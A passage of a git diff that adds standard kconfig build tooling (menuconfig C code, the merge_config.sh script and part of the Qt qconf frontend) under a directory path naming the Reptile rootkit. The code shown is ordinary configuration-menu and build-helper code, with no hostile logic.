menu structure this symbol\n" + " is located\n" + " A location followed by a [=y] indicates that this is a\n" + " selectable menu item - and the current value is displayed inside\n" + " brackets.\n" + " Press the key in the (#) prefix to jump directly to that\n" + " location. You will be returned to the current search results\n" + " after exiting this new menu.\n" + "o The 'Selects:' line tells what symbols will be automatically\n" + " selected if this symbol is selected (y or m)\n" + "o The 'Selected by' line tells what symbol has selected this symbol\n" + "\n" + "Only relevant lines are shown.\n" + "\n\n" + "Search examples:\n" + "Examples: USB => find all symbols containing USB\n" + " ^USB => find all symbols starting with USB\n" + " USB$ => find all symbols ending with USB\n" + "\n"); + +static int indent; +static struct menu *current_menu; +static int child_count; +static int single_menu_mode; +static int show_all_options; +static int save_and_exit; + +static void conf(struct menu *menu, struct menu *active_menu); +static void conf_choice(struct menu *menu); +static void conf_string(struct menu *menu); +static void conf_load(void); +static void conf_save(void); +static int show_textbox_ext(const char *title, char *text, int r, int c, + int *keys, int *vscroll, int *hscroll, + update_text_fn update_text, void *data); +static void show_textbox(const char *title, const char *text, int r, int c); +static void show_helptext(const char *title, const char *text); +static void show_help(struct menu *menu); + +static char filename[PATH_MAX+1]; +static void set_config_filename(const char *config_filename) +{ + static char menu_backtitle[PATH_MAX+128]; + int size; + + size = snprintf(menu_backtitle, sizeof(menu_backtitle), + "%s - %s", config_filename, rootmenu.prompt->text); + if (size >= sizeof(menu_backtitle)) + menu_backtitle[sizeof(menu_backtitle)-1] = '\0'; + set_dialog_backtitle(menu_backtitle); + + size = snprintf(filename, sizeof(filename), "%s", config_filename); + if (size >= sizeof(filename)) + filename[sizeof(filename)-1] = '\0'; +} + +struct subtitle_part { + struct list_head entries; + const char *text; +}; +static LIST_HEAD(trail); + +static struct subtitle_list *subtitles; +static void set_subtitle(void) +{ + struct subtitle_part *sp; + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + + subtitles = NULL; + list_for_each_entry(sp, &trail, entries) { + if (sp->text) { + if (pos) { + pos->next = xcalloc(sizeof(*pos), 1); + pos = pos->next; + } else { + subtitles = pos = xcalloc(sizeof(*pos), 1); + } + pos->text = sp->text; + } + } + + set_dialog_subtitles(subtitles); +} + +static void reset_subtitle(void) +{ + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + subtitles = NULL; + set_dialog_subtitles(subtitles); +} + +struct search_data { + struct list_head *head; + struct menu **targets; + int *keys; +}; + +static void update_text(char *buf, size_t start, size_t end, void *_data) +{ + struct search_data *data = _data; + struct jump_key *pos; + int k = 0; + + list_for_each_entry(pos, data->head, entries) { + if (pos->offset >= start && pos->offset < end) { + char header[4]; + + if (k < JUMP_NB) { + int key = '0' + (pos->index % JUMP_NB) + 1; + + sprintf(header, "(%c)", key); + data->keys[k] = key; + data->targets[k] = pos->target; + k++; + } else { + sprintf(header, " "); + } + + memcpy(buf + pos->offset, header, sizeof(header) - 1); + } + } + data->keys[k] = 0; +} + +static void search_conf(void) +{ + struct symbol **sym_arr; + struct gstr res; + struct gstr title; + char *dialog_input; + int dres, vscroll = 0, hscroll = 0; + bool again; + struct gstr sttext; + struct subtitle_part stpart; + + title = str_new(); + str_printf( &title, _("Enter (sub)string or regexp to search for " + "(with or without \"%s\")"), CONFIG_); + +again: + dialog_clear(); + dres = dialog_inputbox(_("Search Configuration Parameter"), + str_get(&title), + 10, 75, ""); + switch (dres) { + case 0: + break; + case 1: + show_helptext(_("Search Configuration"), search_help); + goto again; + default: + str_free(&title); + return; + } + + /* strip the prefix if necessary */ + dialog_input = dialog_input_result; + if (strncasecmp(dialog_input_result, CONFIG_, strlen(CONFIG_)) == 0) + dialog_input += strlen(CONFIG_); + + sttext = str_new(); + str_printf(&sttext, "Search (%s)", dialog_input_result); + stpart.text = str_get(&sttext); + list_add_tail(&stpart.entries, &trail); + + sym_arr = sym_re_search(dialog_input); + do { + LIST_HEAD(head); + struct menu *targets[JUMP_NB]; + int keys[JUMP_NB + 1], i; + struct search_data data = { + .head = &head, + .targets = targets, + .keys = keys, + }; + struct jump_key *pos, *tmp; + + res = get_relations_str(sym_arr, &head); + set_subtitle(); + dres = show_textbox_ext(_("Search Results"), (char *) + str_get(&res), 0, 0, keys, &vscroll, + &hscroll, &update_text, (void *) + &data); + again = false; + for (i = 0; i < JUMP_NB && keys[i]; i++) + if (dres == keys[i]) { + conf(targets[i]->parent, targets[i]); + again = true; + } + str_free(&res); + list_for_each_entry_safe(pos, tmp, &head, entries) + free(pos); + } while (again); + free(sym_arr); + str_free(&title); + list_del(trail.prev); + str_free(&sttext); +} + +static void build_conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + int type, tmp, doint = 2; + tristate val; + char ch; + bool visible; + + /* + * note: menu_is_visible() has side effect that it will + * recalc the value of the symbol. + */ + visible = menu_is_visible(menu); + if (show_all_options && !menu_has_prompt(menu)) + return; + else if (!show_all_options && !visible) + return; + + sym = menu->sym; + prop = menu->prompt; + if (!sym) { + if (prop && menu != current_menu) { + const char *prompt = menu_get_prompt(menu); + switch (prop->type) { + case P_MENU: + child_count++; + prompt = _(prompt); + if (single_menu_mode) { + item_make("%s%*c%s", + menu->data ? "-->" : "++>", + indent + 1, ' ', prompt); + } else + item_make(" %*c%s %s", + indent + 1, ' ', prompt, + menu_is_empty(menu) ? "----" : "--->"); + item_set_tag('m'); + item_set_data(menu); + if (single_menu_mode && menu->data) + goto conf_childs; + return; + case P_COMMENT: + if (prompt) { + child_count++; + item_make(" %*c*** %s ***", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + break; + default: + if (prompt) { + child_count++; + item_make("---%*c%s", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + } + } else + doint = 0; + goto conf_childs; + } + + type = sym_get_type(sym); + if (sym_is_choice(sym)) { + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + child_count++; + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) && child->sym == def_sym) + def_menu = child; + } + + val = sym_get_tristate_value(sym); + if (sym_is_changable(sym)) { + switch (type) { + case S_BOOLEAN: + item_make("[%c]", val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + item_make("<%c>", ch); + break; + } + item_set_tag('t'); + item_set_data(menu); + } else { + item_make(" "); + item_set_tag(def_menu ? 't' : ':'); + item_set_data(menu); + } + + item_add_str("%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + if (val == yes) { + if (def_menu) { + item_add_str(" (%s)", _(menu_get_prompt(def_menu))); + item_add_str(" --->"); + if (def_menu->list) { + indent += 2; + build_conf(def_menu); + indent -= 2; + } + } + return; + } + } else { + if (menu == current_menu) { + item_make("---%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + item_set_tag(':'); + item_set_data(menu); + goto conf_childs; + } + child_count++; + val = sym_get_tristate_value(sym); + if (sym_is_choice_value(sym) && val == yes) { + item_make(" "); + item_set_tag(':'); + item_set_data(menu); + } else { + switch (type) { + case S_BOOLEAN: + if (sym_is_changable(sym)) + item_make("[%c]", val == no ? ' ' : '*'); + else + item_make("-%c-", val == no ? ' ' : '*'); + item_set_tag('t'); + item_set_data(menu); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + if (sym_is_changable(sym)) { + if (sym->rev_dep.tri == mod) + item_make("{%c}", ch); + else + item_make("<%c>", ch); + } else + item_make("-%c-", ch); + item_set_tag('t'); + item_set_data(menu); + break; + default: + tmp = 2 + strlen(sym_get_string_value(sym)); /* () = 2 */ + item_make("(%s)", sym_get_string_value(sym)); + tmp = indent - tmp + 4; + if (tmp < 0) + tmp = 0; + item_add_str("%*c%s%s", tmp, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + item_set_tag('s'); + item_set_data(menu); + goto conf_childs; + } + } + item_add_str("%*c%s%s", indent + 1, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + if (menu->prompt->type == P_MENU) { + item_add_str(" %s", menu_is_empty(menu) ? "----" : "--->"); + return; + } + } + +conf_childs: + indent += doint; + for (child = menu->list; child; child = child->next) + build_conf(child); + indent -= doint; +} + +static void conf(struct menu *menu, struct menu *active_menu) +{ + struct menu *submenu; + const char *prompt = menu_get_prompt(menu); + struct subtitle_part stpart; + struct symbol *sym; + int res; + int s_scroll = 0; + + if (menu != &rootmenu) + stpart.text = menu_get_prompt(menu); + else + stpart.text = NULL; + list_add_tail(&stpart.entries, &trail); + + while (1) { + item_reset(); + current_menu = menu; + build_conf(menu); + if (!child_count) + break; + set_subtitle(); + dialog_clear(); + res = dialog_menu(prompt ? _(prompt) : _("Main Menu"), + _(menu_instructions), + active_menu, &s_scroll); + if (res == 1 || res == KEY_ESC || res == -ERRDISPLAYTOOSMALL) + break; + if (item_count() != 0) { + if (!item_activate_selected()) + continue; + if (!item_tag()) + continue; + } + submenu = item_data(); + active_menu = item_data(); + if (submenu) + sym = submenu->sym; + else + sym = NULL; + + switch (res) { + case 0: + switch (item_tag()) { + case 'm': + if (single_menu_mode) + submenu->data = (void *) (long) !submenu->data; + else + conf(submenu, NULL); + break; + case 't': + if (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes) + conf_choice(submenu); + else if (submenu->prompt->type == P_MENU) + conf(submenu, NULL); + break; + case 's': + conf_string(submenu); + break; + } + break; + case 2: + if (sym) + show_help(submenu); + else { + reset_subtitle(); + show_helptext(_("README"), _(mconf_readme)); + } + break; + case 3: + reset_subtitle(); + conf_save(); + break; + case 4: + reset_subtitle(); + conf_load(); + break; + case 5: + if (item_is_tag('t')) { + if (sym_set_tristate_value(sym, yes)) + break; + if (sym_set_tristate_value(sym, mod)) + show_textbox(NULL, setmod_text, 6, 74); + } + break; + case 6: + if (item_is_tag('t')) + sym_set_tristate_value(sym, no); + break; + case 7: + if (item_is_tag('t')) + sym_set_tristate_value(sym, mod); + break; + case 8: + if (item_is_tag('t')) + sym_toggle_tristate_value(sym); + else if (item_is_tag('m')) + conf(submenu, NULL); + break; + case 9: + search_conf(); + break; + case 10: + show_all_options = !show_all_options; + break; + } + } + + list_del(trail.prev); +} + +static int show_textbox_ext(const char *title, char *text, int r, int c, int + *keys, int *vscroll, int *hscroll, update_text_fn + update_text, void *data) +{ + dialog_clear(); + return dialog_textbox(title, text, r, c, keys, vscroll, hscroll, + update_text, data); +} + +static void show_textbox(const char *title, const char *text, int r, int c) +{ + show_textbox_ext(title, (char *) text, r, c, (int []) {0}, NULL, NULL, + NULL, NULL); +} + +static void show_helptext(const char *title, const char *text) +{ + show_textbox(title, text, 0, 0); +} + +static void conf_message_callback(const char *fmt, va_list ap) +{ + char buf[PATH_MAX+1]; + + vsnprintf(buf, sizeof(buf), fmt, ap); + if (save_and_exit) + printf("%s", buf); + else + show_textbox(NULL, buf, 6, 60); +} + +static void show_help(struct menu *menu) +{ + struct gstr help = str_new(); + + help.max_width = getmaxx(stdscr) - 10; + menu_get_ext_help(menu, &help); + + show_helptext(_(menu_get_prompt(menu)), str_get(&help)); + str_free(&help); +} + +static void conf_choice(struct menu *menu) +{ + const char *prompt = _(menu_get_prompt(menu)); + struct menu *child; + struct symbol *active; + + active = sym_get_choice_value(menu->sym); + while (1) { + int res; + int selected; + item_reset(); + + current_menu = menu; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (child->sym) + item_make("%s", _(menu_get_prompt(child))); + else { + item_make("*** %s ***", _(menu_get_prompt(child))); + item_set_tag(':'); + } + item_set_data(child); + if (child->sym == active) + item_set_selected(1); + if (child->sym == sym_get_choice_value(menu->sym)) + item_set_tag('X'); + } + dialog_clear(); + res = dialog_checklist(prompt ? _(prompt) : _("Main Menu"), + _(radiolist_instructions), + MENUBOX_HEIGTH_MIN, + MENUBOX_WIDTH_MIN, + CHECKLIST_HEIGTH_MIN); + selected = item_activate_selected(); + switch (res) { + case 0: + if (selected) { + child = item_data(); + if (!child->sym) + break; + + sym_set_tristate_value(child->sym, yes); + } + return; + case 1: + if (selected) { + child = item_data(); + show_help(child); + active = child->sym; + } else + show_help(menu); + break; + case KEY_ESC: + return; + case -ERRDISPLAYTOOSMALL: + return; + } + } +} + +static void conf_string(struct menu *menu) +{ + const char *prompt = menu_get_prompt(menu); + + while (1) { + int res; + const char *heading; + + switch (sym_get_type(menu->sym)) { + case S_INT: + heading = _(inputbox_instructions_int); + break; + case S_HEX: + heading = _(inputbox_instructions_hex); + break; + case S_STRING: + heading = _(inputbox_instructions_string); + break; + default: + heading = _("Internal mconf error!"); + } + dialog_clear(); + res = dialog_inputbox(prompt ? _(prompt) : _("Main Menu"), + heading, 10, 75, + sym_get_string_value(menu->sym)); + switch (res) { + case 0: + if (sym_set_string_value(menu->sym, dialog_input_result)) + return; + show_textbox(NULL, _("You have made an invalid entry."), 5, 43); + break; + case 1: + show_help(menu); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_load(void) +{ + + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, load_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_read(dialog_input_result)) { + set_config_filename(dialog_input_result); + sym_set_change_count(1); + return; + } + show_textbox(NULL, _("File does not exist!"), 5, 38); + break; + case 1: + show_helptext(_("Load Alternate Configuration"), load_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_save(void) +{ + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, save_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_write(dialog_input_result)) { + set_config_filename(dialog_input_result); + return; + } + show_textbox(NULL, _("Can't create file! Probably a nonexistent directory."), 5, 60); + break; + case 1: + show_helptext(_("Save Alternate Configuration"), save_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static int handle_exit(void) +{ + int res; + + save_and_exit = 1; + reset_subtitle(); + dialog_clear(); + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" + "(Press to continue Buildroot configuration.)"), + 6, 60); + else + res = -1; + + end_dialog(saved_x, saved_y); + + switch (res) { + case 0: + if (conf_write(filename)) { + fprintf(stderr, _("\n\n" + "Error while writing of the configuration.\n" + "Your configuration changes were NOT saved." + "\n\n")); + return 1; + } + /* fall through */ + case -1: + printf(_("\n\n" + "*** End of the configuration.\n" + "*** Execute 'make' to start the build or try 'make help'." + "\n\n")); + res = 0; + break; + default: + fprintf(stderr, _("\n\n" + "Your configuration changes were NOT saved." + "\n\n")); + if (res != KEY_ESC) + res = 0; + } + + return res; +} + +static void sig_handler(int signo) +{ + exit(handle_exit()); +} + +int main(int ac, char **av) +{ + char *mode; + int res; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + signal(SIGINT, sig_handler); + + conf_parse(av[1]); + conf_read(NULL); + + mode = getenv("MENUCONFIG_MODE"); + if (mode) { + if (!strcasecmp(mode, "single_menu")) + single_menu_mode = 1; + } + + if (init_dialog(NULL)) { + fprintf(stderr, N_("Your display is too small to run Menuconfig!\n")); + fprintf(stderr, N_("It must be at least 19 lines by 80 columns.\n")); + return 1; + } + + set_config_filename(conf_get_configname()); + conf_set_message_callback(conf_message_callback); + do { + conf(&rootmenu, NULL); + res = handle_exit(); + } while (res == KEY_ESC); + + return res; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/merge_config.sh b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/merge_config.sh new file mode 100644 index 0000000..81b0c61 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/merge_config.sh @@ -0,0 +1,150 @@ +#!/bin/sh +# merge_config.sh - Takes a list of config fragment values, and merges +# them one by one. Provides warnings on overridden values, and specified +# values that did not make it to the resulting .config file (due to missed +# dependencies or config symbol removal). +# +# Portions reused from kconf_check and generate_cfg: +# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/kconf_check +# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/generate_cfg +# +# Copyright (c) 2009-2010 Wind River Systems, Inc. +# Copyright 2011 Linaro +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 2 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU General Public License for more details. + +clean_up() { + rm -f $TMP_FILE + exit +} +trap clean_up HUP INT TERM + +usage() { + echo "Usage: $0 [OPTIONS] [CONFIG [...]]" + echo " -h display this help text" + echo " -m only merge the fragments, do not execute the make command" + echo " -n use allnoconfig instead of alldefconfig" + echo " -r list redundant entries when merging fragments" + echo " -O dir to put generated output files" +} + +MAKE=true +ALLTARGET=alldefconfig +WARNREDUN=false +OUTPUT=. + +while true; do + case $1 in + "-n") + ALLTARGET=allnoconfig + shift + continue + ;; + "-m") + MAKE=false + shift + continue + ;; + "-h") + usage + exit + ;; + "-r") + WARNREDUN=true + shift + continue + ;; + "-O") + if [ -d $2 ];then + OUTPUT=$(echo $2 | sed 's/\/*$//') + else + echo "output directory $2 does not exist" 1>&2 + exit 1 + fi + shift 2 + continue + ;; + *) + break + ;; + esac +done + +INITFILE=$1 +shift; + +MERGE_LIST=$* +SED_CONFIG_EXP="s/^\(# \)\{0,1\}\(CONFIG_[a-zA-Z0-9_]*\)[= ].*/\2/p" +TMP_FILE=$(mktemp ./.tmp.config.XXXXXXXXXX) + +echo "Using $INITFILE as base" +cat $INITFILE > $TMP_FILE + +# Merge files, printing warnings on overrided values +for MERGE_FILE in $MERGE_LIST ; do + echo "Merging $MERGE_FILE" + CFG_LIST=$(sed -n "$SED_CONFIG_EXP" $MERGE_FILE) + + for CFG in $CFG_LIST ; do + grep -q -w $CFG $TMP_FILE + if [ $? -eq 0 ] ; then + PREV_VAL=$(grep -w $CFG $TMP_FILE) + NEW_VAL=$(grep -w $CFG $MERGE_FILE) + if [ "x$PREV_VAL" != "x$NEW_VAL" ] ; then + echo Value of $CFG is redefined by fragment $MERGE_FILE: + echo Previous value: $PREV_VAL + echo New value: $NEW_VAL + echo + elif [ "$WARNREDUN" = "true" ]; then + echo Value of $CFG is redundant by fragment $MERGE_FILE: + fi + sed -i "/$CFG[ =]/d" $TMP_FILE + fi + done + cat $MERGE_FILE >> $TMP_FILE +done + +if [ "$MAKE" = "false" ]; then + cp $TMP_FILE $OUTPUT/.config + echo "#" + echo "# merged configuration written to $OUTPUT/.config (needs make)" + echo "#" + clean_up + exit +fi + +# If we have an output dir, setup the O= argument, otherwise leave +# it blank, since O=. will create an unnecessary ./source softlink +OUTPUT_ARG="" +if [ "$OUTPUT" != "." ] ; then + OUTPUT_ARG="O=$OUTPUT" +fi + + +# Use the merged file as the starting point for: +# alldefconfig: Fills in any missing symbols with Kconfig default +# allnoconfig: Fills in any missing symbols with # CONFIG_* is not set +make KCONFIG_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET + + +# Check all specified config values took (might have missed-dependency issues) +for CFG in $(sed -n "$SED_CONFIG_EXP" $TMP_FILE); do + + REQUESTED_VAL=$(grep -w -e "$CFG" $TMP_FILE) + ACTUAL_VAL=$(grep -w -e "$CFG" $OUTPUT/.config) + if [ "x$REQUESTED_VAL" != "x$ACTUAL_VAL" ] ; then + echo "Value requested for $CFG not in final .config" + echo "Requested value: $REQUESTED_VAL" + echo "Actual value: $ACTUAL_VAL" + echo "" + fi +done + +clean_up diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/qconf.cc b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/qconf.cc new file mode 100644 index 0000000..f630567 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/qconf.cc @@ -0,0 +1,1795 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include + +#if QT_VERSION < 0x040000 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#else +#include +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "lkc.h" +#include "qconf.h" + +#include "qconf.moc" +#include "images.c" + +#ifdef _ +# undef _ +# define _ qgettext +#endif + +static QApplication *configApp; +static ConfigSettings *configSettings; + +Q3Action *ConfigMainWindow::saveAction; + +static inline QString qgettext(const char* str) +{ + return QString::fromLocal8Bit(gettext(str)); +} + +static inline QString qgettext(const QString& str) +{ + return QString::fromLocal8Bit(gettext(str.latin1())); +} + +ConfigSettings::ConfigSettings() + : QSettings("buildroot.org", "qconf") +{ +} + +/** + * Reads a list of integer values from the application settings. + */ +Q3ValueList ConfigSettings::readSizes(const QString& key, bool *ok) +{ + Q3ValueList result; + QStringList entryList = readListEntry(key, ok); + QStringList::Iterator it; + + for (it = entryList.begin(); it != entryList.end(); ++it) + result.push_back((*it).toInt()); + + return result; +} + +/** + * Writes a list of integer values to the application settings. + */ +bool ConfigSettings::writeSizes(const QString& key, const Q3ValueList& value) +{ + QStringList stringList; + Q3ValueList::ConstIterator it; + + for (it = value.begin(); it != value.end(); ++it) + stringList.push_back(QString::number(*it)); + return writeEntry(key, stringList); +} + + +/* + * set the new data + * TODO check the value + */ +void ConfigItem::okRename(int col) +{ + Parent::okRename(col); + sym_set_string_value(menu->sym, text(dataColIdx).latin1()); + listView()->updateList(this); +} + +/* + * update the displayed of a menu entry + */ +void ConfigItem::updateMenu(void) +{ + ConfigList* list; + struct symbol* sym; + struct property *prop; + QString prompt; + int type; + tristate expr; + + list = listView(); + if (goParent) { + setPixmap(promptColIdx, list->menuBackPix); + prompt = ".."; + goto set_prompt; + } + + sym = menu->sym; + prop = menu->prompt; + prompt = _(menu_get_prompt(menu)); + + if (prop) switch (prop->type) { + case P_MENU: + if (list->mode == singleMode || list->mode == symbolMode) { + /* a menuconfig entry is displayed differently + * depending whether it's at the view root or a child. + */ + if (sym && list->rootEntry == menu) + break; + setPixmap(promptColIdx, list->menuPix); + } else { + if (sym) + break; + setPixmap(promptColIdx, 0); + } + goto set_prompt; + case P_COMMENT: + setPixmap(promptColIdx, 0); + goto set_prompt; + default: + ; + } + if (!sym) + goto set_prompt; + + setText(nameColIdx, QString::fromLocal8Bit(sym->name)); + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + char ch; + + if (!sym_is_changable(sym) && list->optMode == normalOpt) { + setPixmap(promptColIdx, 0); + setText(noColIdx, QString::null); + setText(modColIdx, QString::null); + setText(yesColIdx, QString::null); + break; + } + expr = sym_get_tristate_value(sym); + switch (expr) { + case yes: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceYesPix); + else + setPixmap(promptColIdx, list->symbolYesPix); + setText(yesColIdx, "Y"); + ch = 'Y'; + break; + case mod: + setPixmap(promptColIdx, list->symbolModPix); + setText(modColIdx, "M"); + ch = 'M'; + break; + default: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceNoPix); + else + setPixmap(promptColIdx, list->symbolNoPix); + setText(noColIdx, "N"); + ch = 'N'; + break; + } + if (expr != no) + setText(noColIdx, sym_tristate_within_range(sym, no) ? "_" : 0); + if (expr != mod) + setText(modColIdx, sym_tristate_within_range(sym, mod) ? "_" : 0); + if (expr != yes) + setText(yesColIdx, sym_tristate_within_range(sym, yes) ? "_" : 0); + + setText(dataColIdx, QChar(ch)); + break; + case S_INT: + case S_HEX: + case S_STRING: + const char* data; + + data = sym_get_string_value(sym); + + int i = list->mapIdx(dataColIdx); + if (i >= 0) + setRenameEnabled(i, TRUE); + setText(dataColIdx, data); + if (type == S_STRING) + prompt = QString("%1: %2").arg(prompt).arg(data); + else + prompt = QString("(%2) %1").arg(prompt).arg(data); + break; + } + if (!sym_has_value(sym) && visible) + prompt += _(" (NEW)"); +set_prompt: + setText(promptColIdx, prompt); +} + +void ConfigItem::testUpdateMenu(bool v) +{ + ConfigItem* i; + + visible = v; + if (!menu) + return; + + sym_calc_value(menu->sym); + if (menu->flags & MENU_CHANGED) { + /* the menu entry changed, so update all list items */ + menu->flags &= ~MENU_CHANGED; + for (i = (ConfigItem*)menu->data; i; i = i->nextItem) + i->updateMenu(); + } else if (listView()->updateAll) + updateMenu(); +} + +void ConfigItem::paintCell(QPainter* p, const QColorGroup& cg, int column, int width, int align) +{ + ConfigList* list = listView(); + + if (visible) { + if (isSelected() && !list->hasFocus() && list->mode == menuMode) + Parent::paintCell(p, list->inactivedColorGroup, column, width, align); + else + Parent::paintCell(p, cg, column, width, align); + } else + Parent::paintCell(p, list->disabledColorGroup, column, width, align); +} + +/* + * construct a menu entry + */ +void ConfigItem::init(void) +{ + if (menu) { + ConfigList* list = listView(); + nextItem = (ConfigItem*)menu->data; + menu->data = this; + + if (list->mode != fullMode) + setOpen(TRUE); + sym_calc_value(menu->sym); + } + updateMenu(); +} + +/* + * destruct a menu entry + */ +ConfigItem::~ConfigItem(void) +{ + if (menu) { + ConfigItem** ip = (ConfigItem**)&menu->data; + for (; *ip; ip = &(*ip)->nextItem) { + if (*ip == this) { + *ip = nextItem; + break; + } + } + } +} + +ConfigLineEdit::ConfigLineEdit(ConfigView* parent) + : Parent(parent) +{ + connect(this, SIGNAL(lostFocus()), SLOT(hide())); +} + +void ConfigLineEdit::show(ConfigItem* i) +{ + item = i; + if (sym_get_string_value(item->menu->sym)) + setText(QString::fromLocal8Bit(sym_get_string_value(item->menu->sym))); + else + setText(QString::null); + Parent::show(); + setFocus(); +} + +void ConfigLineEdit::keyPressEvent(QKeyEvent* e) +{ + switch (e->key()) { + case Qt::Key_Escape: + break; + case Qt::Key_Return: + case Qt::Key_Enter: + sym_set_string_value(item->menu->sym, text().latin1()); + parent()->updateList(item); + break; + default: + Parent::keyPressEvent(e); + return; + } + e->accept(); + parent()->list->setFocus(); + hide(); +} + +ConfigList::ConfigList(ConfigView* p, const char *name) + : Parent(p, name), + updateAll(false), + symbolYesPix(xpm_symbol_yes), symbolModPix(xpm_symbol_mod), symbolNoPix(xpm_symbol_no), + choiceYesPix(xpm_choice_yes), choiceNoPix(xpm_choice_no), + menuPix(xpm_menu), menuInvPix(xpm_menu_inv), menuBackPix(xpm_menuback), voidPix(xpm_void), + showName(false), showRange(false), showData(false), optMode(normalOpt), + rootEntry(0), headerPopup(0) +{ + int i; + + setSorting(-1); + setRootIsDecorated(TRUE); + disabledColorGroup = palette().active(); + disabledColorGroup.setColor(QColorGroup::Text, palette().disabled().text()); + inactivedColorGroup = palette().active(); + inactivedColorGroup.setColor(QColorGroup::Highlight, palette().disabled().highlight()); + + connect(this, SIGNAL(selectionChanged(void)), + SLOT(updateSelection(void))); + + if (name) { + configSettings->beginGroup(name); + showName = configSettings->readBoolEntry("/showName", false); + showRange = configSettings->readBoolEntry("/showRange", false); + showData = configSettings->readBoolEntry("/showData", false); + optMode = (enum optionMode)configSettings->readNumEntry("/optionMode", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } + + for (i = 0; i < colNr; i++) + colMap[i] = colRevMap[i] = -1; + addColumn(promptColIdx, _("Option")); + + reinit(); +} + +bool ConfigList::menuSkip(struct menu *menu) +{ + if (optMode == normalOpt && menu_is_visible(menu)) + return false; + if (optMode == promptOpt && menu_has_prompt(menu)) + return false; + if (optMode == allOpt) + return false; + return true; +} + +void ConfigList::reinit(void) +{ + removeColumn(dataColIdx); + removeColumn(yesColIdx); + removeColumn(modColIdx); + removeColumn(noColIdx); + removeColumn(nameColIdx); + + if (showName) + addColumn(nameColIdx, _("Name")); + if (showRange) { + addColumn(noColIdx, "N"); + addColumn(modColIdx, "M"); + addColumn(yesColIdx, "Y"); + } + if (showData) + addColumn(dataColIdx, _("Value")); + + updateListAll(); +} + +void ConfigList::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showName", showName); + configSettings->writeEntry("/showRange", showRange); + configSettings->writeEntry("/showData", showData); + configSettings->writeEntry("/optionMode", (int)optMode); + configSettings->endGroup(); + } +} + +ConfigItem* ConfigList::findConfigItem(struct menu *menu) +{ + ConfigItem* item = (ConfigItem*)menu->data; + + for (; item; item = item->nextItem) { + if (this == item->listView()) + break; + } + + return item; +} + +void ConfigList::updateSelection(void) +{ + struct menu *menu; + enum prop_type type; + + ConfigItem* item = (ConfigItem*)selectedItem(); + if (!item) + return; + + menu = item->menu; + emit menuChanged(menu); + if (!menu) + return; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (mode == menuMode && type == P_MENU) + emit menuSelected(menu); +} + +void ConfigList::updateList(ConfigItem* item) +{ + ConfigItem* last = 0; + + if (!rootEntry) { + if (mode != listMode) + goto update; + Q3ListViewItemIterator it(this); + ConfigItem* item; + + for (; it.current(); ++it) { + item = (ConfigItem*)it.current(); + if (!item->menu) + continue; + item->testUpdateMenu(menu_is_visible(item->menu)); + } + return; + } + + if (rootEntry != &rootmenu && (mode == singleMode || + (mode == symbolMode && rootEntry->parent != 